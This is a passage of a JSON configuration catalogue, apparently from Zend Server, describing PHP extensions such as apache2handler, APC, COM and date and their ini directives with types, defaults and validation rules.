                        "restrictions": [
                            {
                                "os": "linux-i386",
                                "product": ""
                            },
                            {
                                "os": "linux-x86_64",
                                "product": ""
                            },
                            {
                                "os": "linux-amd64",
                                "product": ""
                            },
                            {
                                "os": "linux-armhf",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64",
                                "product": ""
                            },
                            {
                                "os": "linux-ppc64le",
                                "product": ""
                            },
                            {
                                "os": "darwin",
                                "product": ""
                            }
                        ]
                    },
                    {
                        "fixed": "AIX_RESTART_CMD",
                        "restrictions": [
                            {
                                "os": "aix-ppc",
                                "product": ""
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.cleaner_config_file": {
                "shortDescription": "Generic cleaner configuration file",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "CLEANER_CONFIG_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_utils.fake_geo_ip": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "apache": {
        "name": "apache",
        "extensionId": "apache",
        "isDaemon": 0,
        "shortDescription": "Apache 1",
        "longDescription": "",
        "iniFileName": "apache.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "apache2handler": {
        "name": "apache2handler",
        "extensionId": "apache2handler",
        "isDaemon": 0,
        "shortDescription": "Apache 2 SAPI",
        "longDescription": "This extension provides the Apache 2 mod_php SAPI.",
        "iniFileName": "apache2handler.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "engine": {
                "shortDescription": "Enables the PHP scripting language engine under Apache",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "child_terminate": {
                "shortDescription": "Specify whether PHP scripts may request child process termination on end of",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "last_modified": {
                "shortDescription": "Send PHP scripts modification date as Last-Modified",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xbithack": {
                "shortDescription": "Parse files with executable bit set as PHP regardless of their file ending",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "apc": {
        "name": "apc",
        "extensionId": "apc",
        "isDaemon": 0,
        "shortDescription": "Alternative PHP Cache",
        "longDescription": "The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. It was conceived of to provide a free, open, and robust framework for caching and optimizing PHP intermediate code.",
        "iniFileName": "apc.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "apc.enabled": {
                "shortDescription": "apc.enabled can be set to 0 to disable APC",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "APC Compatibility Layer": {
        "name": "APC Compatibility Layer",
        "extensionId": "apc_compatibility_layer",
        "isDaemon": 0,
        "shortDescription": "Compatibility layer for the APC extension",
        "longDescription": "Compatibility layer for the APC extension, covering the main API methods of the APC extension",
        "iniFileName": "apc_compatibility_layer.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "bcmath": {
        "name": "bcmath",
        "extensionId": "bcmath",
        "isDaemon": 0,
        "shortDescription": "Arbitrary Precision Mathematics",
        "longDescription": "PHP offers the Binary Calculator which supports numbers of any size and precision, represented as strings.",
        "iniFileName": "bcmath.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "bcmath.scale": {
                "shortDescription": "Number of digits after decimal point for bcmath functions",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "digits",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "bz2": {
        "name": "bz2",
        "extensionId": "bz2",
        "isDaemon": 0,
        "shortDescription": "Bzip2 Compression",
        "longDescription": "The bzip2 functions are used to transparently read and write bzip2 (.bz2) compressed files.",
        "iniFileName": "bz2.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "calendar": {
        "name": "calendar",
        "extensionId": "calendar",
        "isDaemon": 0,
        "shortDescription": "Calendar Conversions",
        "longDescription": "The calendar extension presents a series of functions to simplify converting between different calendar formats. The intermediary or standard it is based on is the Julian Day Count.",
        "iniFileName": "calendar.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "cgi-fcgi": {
        "name": "cgi-fcgi",
        "extensionId": "cgi-fcgi",
        "isDaemon": 0,
        "shortDescription": "PHP CGI\/FastCGI API",
        "longDescription": "This extension provides PHP CGI or FastCGI server API.",
        "iniFileName": "cgi-fcgi.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "classkit": {
        "name": "classkit",
        "extensionId": "classkit",
        "isDaemon": 0,
        "shortDescription": "Runtime Class Manipulation",
        "longDescription": "",
        "iniFileName": "classkit.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "com": {
        "name": "com",
        "extensionId": "com",
        "isDaemon": 0,
        "shortDescription": "COM",
        "longDescription": "",
        "iniFileName": "com.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "com_dotnet": {
        "name": "com_dotnet",
        "extensionId": "com_dotnet",
        "isDaemon": 0,
        "shortDescription": "Component Object Model",
        "longDescription": "An object orientated layer (and associated services) on top of DCE RPC (an open standard) which defines a common calling convention that enables code written in any language to call and interoperate with code written in any other language.",
        "iniFileName": "com_dotnet.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "com.allow_dcom": {
                "shortDescription": "Operating PHP as a D-COM client",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "com.autoregister_typelib": {
                "shortDescription": "Registration constants from the typelibrary of objects",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "com.autoregister_verbose": {
                "shortDescription": "Reporting errors using the PHP error mechanism",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "com.autoregister_casesensitive": {
                "shortDescription": "Constants found in auto-loaded type libraries will be registered case-s",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "com.code_page": {
                "shortDescription": "Default character sets code-page to use when passing strings to\/from COM",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "com.typelib_file": {
                "shortDescription": "Path to a file that contains a list of typelibraries",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Core": {
        "name": "Core",
        "extensionId": "core",
        "isDaemon": 0,
        "shortDescription": "Core PHP Functionality",
        "longDescription": "Core PHP functionality.",
        "iniFileName": "",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "cpdf": {
        "name": "cpdf",
        "extensionId": "cpdf",
        "isDaemon": 0,
        "shortDescription": "PDF Creation with ClibPDF Library",
        "longDescription": "",
        "iniFileName": "cpdf.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "crack": {
        "name": "crack",
        "extensionId": "crack",
        "isDaemon": 0,
        "shortDescription": "CrackLib",
        "longDescription": "",
        "iniFileName": "crack.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "crack.default_dictionary": {
                "shortDescription": "Modify the directory location of the cracklib  dictionary files",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ctype": {
        "name": "ctype",
        "extensionId": "ctype",
        "isDaemon": 0,
        "shortDescription": "Character Classifications",
        "longDescription": "Checks whether a character or string falls into a certain character class according to the current locale.",
        "iniFileName": "ctype.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "curl": {
        "name": "curl",
        "extensionId": "curl",
        "isDaemon": 0,
        "shortDescription": "Client URL Library Functions",
        "longDescription": "Allows you to connect to and communicate with many different types of servers with many different types of protocols. \nNote:\nlibcurl libraries must be installed in order for this extension to function.",
        "iniFileName": "curl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "curl.cainfo": {
                "shortDescription": "A default value for the CURLOPT_CAINFO option. This is required to be an absolute path. ",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "NULL"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "cvsclient": {
        "name": "cvsclient",
        "extensionId": "cvsclient",
        "isDaemon": 0,
        "shortDescription": "CVS pserver Client",
        "longDescription": "",
        "iniFileName": "cvsclient.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Data Handling": {
        "name": "Data Handling",
        "extensionId": "Data Handling",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Data Handling and Configuration Directives",
        "longDescription": "Data Handling and Configuration Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
            "register_globals": {
                "shortDescription": "Tells whether or not to register the EGPCS as global variables",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "register_argc_argv": {
                "shortDescription": "Tells PHP whether to declare the argv & argc variables",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "post_max_size": {
                "shortDescription": "Sets max size of post data allowed",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[0-9]+[K|M|G]?$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "variables_order": {
                "shortDescription": "Set the order of the EGPCS variable parsing",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[EGPCS]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "gpc_order": {
                "shortDescription": "GPC variables registration order",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[GPC]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "track_vars": {
                "shortDescription": "If enabled, then Environment, GET, POST, Cookie, and Server variables can be found in the global arrays",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "request_order": {
                "shortDescription": "Describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[GPC]*$\/",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "allow_webdav_methods": {
                "shortDescription": "Allow handling of WebDAV http requests within PHP scripts",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "auto_prepend_file": {
                "shortDescription": "Automatically prepend and parse a file to PHP",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "auto_append_file": {
                "shortDescription": "Automatically append and parse a file to PHP",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "default_mimetype": {
                "shortDescription": "Default MIME type",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "default_charset": {
                "shortDescription": "Default character set",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "register_long_arrays": {
                "shortDescription": "To register the deprecated long $HTTP_*_VARS type predefined variables",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "always_populate_raw_post_data": {
                "shortDescription": "Always populate the $HTTP_RAW_POST_DATA variable",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:-1;s:2:\"-1\";i:0;s:1:\"0\";i:1;s:1:\"1\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "arg_separator.input": {
                "shortDescription": "List of separator(s) used by PHP to parse input URLs into variables",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "arg_separator.output": {
                "shortDescription": "The separator used in PHP generated URLs to separate arguments",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "auto_globals_jit": {
                "shortDescription": "Initializing auto-globals on the first use or at the start of the request",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "enable_post_data_reading": {
                "shortDescription": "Disabling this option causes $_POST and $_FILES not to be populated.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "input_encoding": {
                "shortDescription": "PHP input character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "output_encoding": {
                "shortDescription": "PHP output character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "internal_encoding": {
                "shortDescription": "PHP internal character encoding",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.detect_unicode": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.multibyte": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend.script_encoding": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "date": {
        "name": "date",
        "extensionId": "date",
        "isDaemon": 0,
        "shortDescription": "Date Module",
        "longDescription": "Allows you to get the date from the server where your PHP scripts are running. You can use this function to format the date in various ways.",
        "iniFileName": "date.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "date.default_latitude": {
                "shortDescription": "Default value for latitude parameter",
                "type": 9,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "date.default_longitude": {
                "shortDescription": "Default value for longitude parameter",
                "type": 9,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "date.sunrise_zenith": {
                "shortDescription": "Default value for sunrise-zenith parameter",
                "type": 9,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "date.sunset_zenith": {
                "shortDescription": "Default value for sunset-zenith parameter",
                "type": 9,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "date.timezone": {
                "shortDescription": "The default timezone used by all date\/time functions if the TZ environment variable isn't set",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "db2": {
        "name": "db2",
        "extensionId": "db2",
        "isDaemon": 0,
        "shortDescription": "DB2 Unified ODBC",
        "longDescription": "",
        "iniFileName": "db2.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "dba": {
        "name": "dba",
        "extensionId": "dba",
        "isDaemon": 0,
        "shortDescription": "UNIX dbm",
        "longDescription": "",
        "iniFileName": "dba.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "dba.default_handler": {
                "shortDescription": "DBA default handler",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "dbase": {
        "name": "dbase",
        "extensionId": "dbase",
        "isDaemon": 0,
        "shortDescription": "dBase",
        "longDescription": "",
        "iniFileName": "dbase.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "dbx": {
        "name": "dbx",
        "extensionId": "dbx",
        "isDaemon": 0,
        "shortDescription": "Database Abstraction Layer",
        "longDescription": "",
        "iniFileName": "dbx.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "dbx.colnames_case": {
                "shortDescription": "Columns names",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{s:9:\"unchanged\";s:9:\"unchanged\";s:9:\"lowercase\";s:9:\"lowercase\";s:9:\"uppercase\";s:9:\"uppercase\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "dio": {
        "name": "dio",
        "extensionId": "dio",
        "isDaemon": 0,
        "shortDescription": "Direct I\/O",
        "longDescription": "",
        "iniFileName": "dio.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "dom": {
        "name": "dom",
        "extensionId": "dom",
        "isDaemon": 0,
        "shortDescription": "DOM XML",
        "longDescription": "The DOM extension is the replacement for the DOM XML extension from PHP 4. The extension still contains many old functions, but they should no longer be used. In particular, functions that are not object-oriented should be avoided.\nThe extension allows you to operate on an XML document with the DOM API.",
        "iniFileName": "dom.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "ereg": {
        "name": "ereg",
        "extensionId": "ereg",
        "isDaemon": 0,
        "shortDescription": "String Pattern Matching",
        "longDescription": "Provides a set of string pattern matching functions using POSIX extended regular expressions.",
        "iniFileName": "ereg.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "Error Handling and Logging": {
        "name": "Error Handling and Logging",
        "extensionId": "Error Handling and Logging",
        "dummy": "1",
        "isDaemon": 0,
        "shortDescription": "Error Reporting and Logging Directives",
        "longDescription": "Error Reporting and Logging Directives",
        "iniFileName": "",
        "subPath": "",
        "zendExtension": false,
        "directives": {
